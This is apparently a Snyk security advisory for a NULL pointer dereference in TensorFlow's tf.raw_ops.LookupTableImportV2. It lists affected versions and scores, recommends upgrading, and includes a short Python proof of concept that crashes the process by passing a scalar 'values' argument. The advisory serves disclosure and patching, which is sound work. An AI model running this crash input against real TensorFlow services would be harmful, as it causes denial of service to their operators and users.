NULL Pointer Dereference Affecting tensorflow package, versions [,2.11.1) [2.12.0rc0,2.12.0)


0.0
high

Snyk CVSS

    Attack Complexity Low
    Availability High

    Threat Intelligence

    EPSS 0.08% (33rd percentile)
Expand this section
NVD
7.5 high

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-PYTHON-TENSORFLOW-3373032
  • published 26 Mar 2023
  • disclosed 26 Mar 2023
  • credit r3pwnx

How to fix?

Upgrade tensorflow to version 2.11.1, 2.12.0 or higher.

Overview

tensorflow is a machine learning framework.

Affected versions of this package are vulnerable to NULL Pointer Dereference. The function tf.raw_ops.LookupTableImportV2 cannot handle scalars in the values parameter and gives a null pointer exception.

PoC

import tensorflow as tf

v = tf.Variable(1)

@tf.function(jit_compile=True)
def test():
   func = tf.raw_ops.LookupTableImportV2
   para={'table_handle': v.handle,'keys': [62.98910140991211, 94.36528015136719], 'values': -919}

   y = func(**para)
   return y

print(test())

References